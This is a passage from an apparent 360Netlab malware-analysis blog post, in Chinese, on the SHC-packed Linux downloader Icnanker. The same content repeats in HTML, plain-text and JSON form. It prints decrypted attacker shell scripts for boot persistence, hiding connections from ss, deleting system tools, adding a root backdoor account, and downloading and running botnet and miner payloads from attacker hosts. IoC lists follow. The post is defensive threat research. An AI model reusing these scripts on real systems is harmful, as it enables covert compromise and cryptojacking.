dget http[://xz.jave.xyz:22345/.xm
</code></pre>
<p>目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>payload type</th>
<th>payload url</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>5790dedae465994d179c63782e51bac1</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>.ds1;.ds2</td>
<td>6abe83ee8481b5ce0894d837eabb41df</td>
<td>miner</td>
<td>http[://xz.jave.xyz:22345/.xm</td>
</tr>
<tr>
<td>.ssh</td>
<td>89cd1ebfa5757dca1286fd925e0762de</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>19880</td>
<td>d989e81c4eb23c1e701024ed26f55849</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdps</td>
</tr>
</tbody>
</table>
<h2 id="">业务样本</h2>
<p>Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。</p>
<ul>
<li>
<p>Elknot Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>htrdps</td>
<td>5c90bfbae5c030da91c9054ecb3194b6</td>
<td>ubt.ubtv.xyz:19880, jav.jave.xyz:6001</td>
</tr>
<tr>
<td>kcompact0</td>
<td>eec19f1639871b6e6356e7ee05db8a94</td>
<td>sys.jave.xyz:1764, jav.jave.xyz:6001</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Xor.DDoS Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>ss</td>
<td>0764da93868218d6ae999ed7bd66a98e</td>
<td>8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Miner</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>sh</td>
<td>17ac3bd2753b900367cb9ee4068fe0c1</td>
<td></td>
</tr>
<tr>
<td>.xm</td>
<td>765a0899cb87400e8a27ab572f3cdd61</td>
<td></td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="">处置建议</h2>
<p>我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。<br>
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">Twitter</a> 或者在微信公众号 360Netlab 上联系我们。</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e
</code></pre>
<h3 id="cc">CC</h3>
<pre><code>ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764 #Elknot
jav.jave.xyz:6001 #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345 #Icnanker HFS
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了"SHC(Shell script compiler)"技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。
此次攻击，在我们看来没有太多的新颖性，因此并没有公开。
2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为Icnanker。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:
* SHC技术
* Icananker的分类及其功能
* Icananker分发的业务
概览
Icnanker是我们观察到的第一个使用SHC技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。
目前Icnanker的样本按照功能可以分成2大类：
* Downloader
Downloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。
* Protector
Protector用于保护样本不被删除，目前用于保护Miner。
Downloader的主要功能如下：
* 持久化
* 隐藏自身
* 删除系统命令
* 增加新用户
* 下载执行具体业务样本
Protector的主要功能如下
* 删除系统命令，保护自身不被删除
逆向分析
本文的选取的分析对象为以下2个样本，
187fa428ed44f006df0c8232be4a6e4e为Miner的Protector，
5790dedae465994d179c63782e51bac1为Elknot Botnet的Downloader。
MD5:5790dedae465994d179c63782e51bac1
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped
Packer: No
Verdict:Malicious,Downloader
187fa428ed44f006df0c8232be4a6e4e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
Packer:No
Verdict:Malicious,Protector
在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的"SHC(Shell script compiler)"技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。
依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用UnSHc直接解密出脚本
[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
[0] Working with var address at offset [0x80ed087] (0x2a bytes)
[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
...............
[12] Working with var address at offset [0x80f1280] (0x13 bytes)
[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
[+] PWD address found : [0x80f12ed]
[+] PWD size found : [0x100]
[*] Executing [__GHOST_URL__/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
...............
[*] Executing [__GHOST_URL__/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!
Protector(187fa428ed44f006df0c8232be4a6e4e.sh)
#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。
Downloader(5790dedae465994d179c63782e51bac1.sh)
－－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
...............
echo "byicnanker 2228668564" > $Config
tempfile=`cat $Config | awk '{print $1}'`
filetemp="/usr/bin/$tempfile" #现马的路径
filename=`date +%s%N | md5sum | head -c 10`
filepath="/usr/bin/$filename" #新马的路径
tempbash=`cat $Config | awk '{print $2}'`
bashtemp="/usr/bin/$tempbash" #现脚本路径
bashname=`date +%s%N | md5sum | head -c 10`
bashpath="/usr/bin/$bashname" #新脚本路径
...............
此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。
由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。
* 持久化，通过re.local实现自启动。
# by icnanker -----------------------------------------------
Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
if [ $Repeatstart != 1 ];then
lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
fi
if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
lockr -i /etc/;lockr -i /etc/rc.local
echo "$bashpath start" >> /etc/rc.local
else
lockr -i /etc/;lockr -i /etc/rc.local
sed -i "s|exit 0|$bashpath start|" /etc/rc.local
echo "exit 0">>/etc/rc.local
fi
fi
* 隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。
if [ -f /bin/ss ];then
if [ ! -f "$iss" ];then
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
cp -f /bin/ss $issbak
cp -f /bin/ss $iss
else
cp -f $issbak $iss
fi
chmod 777 $iss;chmod 777 $issbak
lockr +i $issbak >/dev/null 2>&1
lockr +i $iss >/dev/null 2>&1
else
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;cp -f $iss $issbak
lockr +i $issbak >/dev/null 2>&1
fi
if [ -z "`cat /bin/ss | grep $Address`" ]; then
lockr -i /bin/;lockr -i /bin/ss
echo '#!/bin/sh' > /bin/ss
echo 'iss|grep -v "'$Address'"' >> /bin/ss
echo 'exit' >> /bin/ss
chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
fi
fi
fi
* 删除系统指令,增加修复难度。
lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
* 增加新用户(ntps),方便后续控制受害者机器
# by icnanker -----------------------------------------------
if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/passwd #ntps
echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
fi
if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/shadow #tianyong
echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
fi
* 下载执行具体业务样本,此处为Elknot Botnet。
# by icnanker -----------------------------------------------
iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
if [ -z "$iptable" ];then
iptables -I INPUT -s $Address -j ACCEPT
else
iptables -D INPUT -s $Address -j DROP
fi
process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
if [ $process != 1 ];then
if [ ! -f "$filebak" ];then
lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
cd $path;mv -f /usr/bin/htrdpm $filepath
else
cp -f $filebak $filepath
fi
Runkillallconnect
chmod 777 $filepath
nohup $filepath >/dev/null 2>&1 &
fi
至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。
以elknot VS miner为例
elknot
ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm
-------------------------------------------VS----------------------------------------
miner
ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://xz.jave.xyz:22345/.xm
目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。
filename
md5
payload type
payload url
80
5790dedae465994d179c63782e51bac1
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm
.ds1;.ds2
6abe83ee8481b5ce0894d837eabb41df
miner
http[://xz.jave.xyz:22345/.xm
.ssh
89cd1ebfa5757dca1286fd925e0762de
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm
19880
d989e81c4eb23c1e701024ed26f55849
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdps
业务样本
Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。
*
Elknot Botnet
filename
md5
c2
htrdps
5c90bfbae5c030da91c9054ecb3194b6
ubt.ubtv.xyz:19880, jav.jave.xyz:6001
kcompact0
eec19f1639871b6e6356e7ee05db8a94
sys.jave.xyz:1764, jav.jave.xyz:6001
*
Xor.DDoS Botnet
filename
md5
c2
ss
0764da93868218d6ae999ed7bd66a98e
8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987
*
Miner
filename
md5
c2
sh
17ac3bd2753b900367cb9ee4068fe0c1
.xm
765a0899cb87400e8a27ab572f3cdd61
处置建议
我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。
联系我们
感兴趣的读者，可以在 Twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
Sample MD5
5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e
CC
ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764 #Elknot
jav.jave.xyz:6001 #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345 #Icnanker HFS
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n\n2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了\"SHC(Shell script compiler)\"技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。\n此次攻击，在我们看来没有太多的新颖性，因此并没有公开。\n2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为[Icnanker](https://twitter.com/IntezerLabs/status/1238090121624379392)。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:\n* SHC技术 \n* Icananker的分类及其功能\n* Icananker分发的业务 \n\n## 概览\n\nIcnanker是我们观察到的第一个使用[SHC](https://github.com/neurobin/shc)技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。\n目前Icnanker的样本按照功能可以分成2大类：\n* Downloader\nDownloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。\n<a href=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\" class=\"kg-image\"/></a>\n* Protector\nProtector用于保护样本不被删除，目前用于保护Miner。\n\nDownloader的主要功能如下：\n\n* 持久化\n* 隐藏自身\n* 删除系统命令\n* 增加新用户\n* 下载执行具体业务样本\n\nProtector的主要功能如下\n* 删除系统命令，保护自身不被删除\n## 逆向分析\n本文的选取的分析对象为以下2个样本，\n==187fa428ed44f006df0c8232be4a6e4e==为Miner的Protector，\n==5790dedae465994d179c63782e51bac1==为Elknot Botnet的Downloader。\n>MD5:5790dedae465994d179c63782e51bac1\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped\n>\n>Packer: No\n>\n>**Verdict:Malicious,Downloader**\n\n>187fa428ed44f006df0c8232be4a6e4e\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped\n>\n>Packer:No\n>\n>**Verdict:Malicious,Protector**\n\n在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的\"SHC(Shell script compiler)\"技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。\n <a href=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\" class=\"kg-image\"/></a>\n依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用[UnSHc](https://github.com/yanncam/UnSHc)直接解密出脚本\n```bash\n[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...\n\t[0] Working with var address at offset [0x80ed087] (0x2a bytes)\n\t[1] Working with var address at offset [0x80ed0df] (0x1 bytes)\n ...............\n\t[12] Working with var address at offset [0x80f1280] (0x13 bytes)\n\t[13] Working with var address at offset [0x80f12b1] (0x13 bytes)\n[*] Extracting password...\n\t[+] PWD address found : [0x80f12ed]\n\t[+] PWD size found : [0x100]\n[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]\n[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]\n[*] All done!\n ...............\n[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]\n[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]\n[*] All done!\n\n\n```\n### Protector(187fa428ed44f006df0c8232be4a6e4e.sh)\n```\n#!/bin/bash\ncp -f /usr/bin/chattr /usr/bin/lockr\ncp -f /usr/bin/chattr /usr/bin/.locks\ncp -f /usr/bin/.locks /usr/bin/lockr\nchmod 777 /usr/bin/lockr\nchmod 777 /usr/bin/.locks\nlockr +i /usr/bin/lockr >/dev/null 2>&1\nlockr +i /usr/bin/.locks >/dev/null 2>&1\n.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr\nlockr +i /usr/bin/lockr >/dev/null 2>&1\ncp -f /usr/bin/lsattr /usr/bin/lockrc\ncp -f /usr/bin/lsattr /usr/bin/.locksc\ncp -f /usr/bin/.locksc /usr/bin/lockrc\nchmod 777 /usr/bin/lockrc\nchmod 777 /usr/bin/.locksc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nlockr +i /usr/bin/.locksc >/dev/null 2>&1\n.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nrm -rf /usr/bin/lsattr\nrm -rf /usr/bin/chattr\nlockr +a /var/spool/cron/crontabs/root\nlockr +i /var/spool/cron/crontabs/root\nlockr +a /var/spool/cron/root\nlockr +i /var/spool/cron/root\nlockr +i /usr/lib/.cache/\nlockr +i /usr/lib/.cache\nrm -f $0\n```\n在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。\n\n### Downloader(5790dedae465994d179c63782e51bac1.sh)\n```bash\n －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－\n ...............\n echo \"byicnanker 2228668564\" > $Config\n\ttempfile=`cat $Config | awk '{print $1}'`\n\tfiletemp=\"/usr/bin/$tempfile\" #现马的路径\n\tfilename=`date +%s%N | md5sum | head -c 10`\n\tfilepath=\"/usr/bin/$filename\" #新马的路径\n\ttempbash=`cat $Config | awk '{print $2}'`\n\tbashtemp=\"/usr/bin/$tempbash\" #现脚本路径\n\tbashname=`date +%s%N | md5sum | head -c 10`\n\tbashpath=\"/usr/bin/$bashname\" #新脚本路径\n ...............\n```\n此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。\n由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。\n* 持久化，通过re.local实现自启动。\n```\n # by icnanker -----------------------------------------------\n Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`\n if [ $Repeatstart != 1 ];then\n \tlockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local\n fi\n if [ -z \"`cat /etc/rc.local | grep \"$bashtemp\"`\" ]; then\n \tif [ -z \"`cat /etc/rc.local | grep \"$exit0\"`\" ]; then\n \t\tlockr -i /etc/;lockr -i /etc/rc.local\n \t\techo \"$bashpath start\" >> /etc/rc.local\n \telse\n \t\tlockr -i /etc/;lockr -i /etc/rc.local\n \t\tsed -i \"s|exit 0|$bashpath start|\" /etc/rc.local\n \t\techo \"exit 0\">>/etc/rc.local\n \tfi\n fi\n```\n* 隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。\n```\nif [ -f /bin/ss ];then\n\tif [ ! -f \"$iss\" ];then\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;mkdir /usr/bin/dpkgd/\n\t\t\tcp -f /bin/ss $issbak\n\t\t\tcp -f /bin/ss $iss\n\t\telse\n\t\t\tcp -f $issbak $iss\n\t\tfi\n\t\tchmod 777 $iss;chmod 777 $issbak\n\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tlockr +i $iss >/dev/null 2>&1\n\telse\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;cp -f $iss $issbak\n\t\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tfi\t\n\t\tif [ -z \"`cat /bin/ss | grep $Address`\" ]; then\n\t\t\tlockr -i /bin/;lockr -i /bin/ss\n\t\t\techo '#!/bin/sh' > /bin/ss\n\t\t\techo 'iss|grep -v \"'$Address'\"' >> /bin/ss\n\t\t\techo 'exit' >> /bin/ss\n\t\t\tchmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1\n\t\tfi\n\tfi\nfi\n\n```\n* 删除系统指令,增加修复难度。\n```\nlockr -i /usr/bin/;\nlockr -i /usr/bin/wget;\nrm -f /usr/bin/wget;\nlockr -i /usr/bin/chattr;\nrm -f /usr/bin/chattr\n```\n* 增加新用户(ntps),方便后续控制受害者机器\n```\n # by icnanker -----------------------------------------------\n if [ -z \"`cat /etc/passwd|grep \"ntps\"`\" ]; then\n \tlockr -i /etc/;lockr -i /etc/passwd #ntps\n \techo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd\n \tlockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1\n fi\n if [ -z \"`cat /etc/shadow|grep \"ntps\"`\" ]; then\n \tlockr -i /etc/;lockr -i /etc/shadow #tianyong\n \techo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow\n \tlockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1\n fi\n```\n\n* 下载执行具体业务样本,此处为Elknot Botnet。\n```\n # by icnanker -----------------------------------------------\n iptable=`iptables -L INPUT | grep \"$Address\" | grep 'ACCEPT'`\n if [ -z \"$iptable\" ];then\n \tiptables -I INPUT -s $Address -j ACCEPT\n else\n \tiptables -D INPUT -s $Address -j DROP\n fi\n process=`ips -ef | grep \"$tempfile\" | grep -v \"grep\" | wc -l`\n if [ $process != 1 ];then\n \tif [ ! -f \"$filebak\" ];then\n \t\tlockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm\n \t\tcd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm\n \t\tcd $path;mv -f /usr/bin/htrdpm $filepath\n \telse\n \t\tcp -f $filebak $filepath\n \tfi\n \tRunkillallconnect\n \tchmod 777 $filepath\n \tnohup $filepath >/dev/null 2>&1 &\n fi\n```\n至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。\n以elknot VS miner为例\n```\nelknot\n\nResolveIP=`nslookup [ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\ndget http[://hfs.ubtv.xyz:22345/htrdpm\n\n-------------------------------------------VS----------------------------------------\n\nminer\n\nResolveIP=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\ndget http[://xz.jave.xyz:22345/.xm\n```\n\n\n目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。\n| filename | md5 | payload type | payload url |\n| --------- | -------------------------------- | ------------- | -------------------------------------- |\n| 80 | 5790dedae465994d179c63782e51bac1 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm |\n| .ds1;.ds2 | 6abe83ee8481b5ce0894d837eabb41df | miner | http[://xz.jave.xyz:22345/.xm |\n| .ssh | 89cd1ebfa5757dca1286fd925e0762de | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm |\n| 19880 | d989e81c4eb23c1e701024ed26f55849 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdps |\n\n\n## 业务样本\n\n Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。\n\n* Elknot Botnet\n\n | filename | md5 | c2 |\n | --------- | -------------------------------- | ------------------------------------- |\n | htrdps | 5c90bfbae5c030da91c9054ecb3194b6 | ubt.ubtv.xyz:19880, jav.jave.xyz:6001 |\n | kcompact0 | eec19f1639871b6e6356e7ee05db8a94 | sys.jave.xyz:1764, jav.jave.xyz:6001 |\n\n* Xor.DDoS Botnet\n\n | filename | md5 | c2 |\n | -------- | -------------------------------- | -------------------------------------------------------- |\n | ss | 0764da93868218d6ae999ed7bd66a98e | 8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987 |\n\n* Miner\n\n | filename | md5 | c2 |\n | -------- | -------------------------------- | ---- |\n | sh | 17ac3bd2753b900367cb9ee4068fe0c1 | |\n | .xm | 765a0899cb87400e8a27ab572f3cdd61 | |\n## 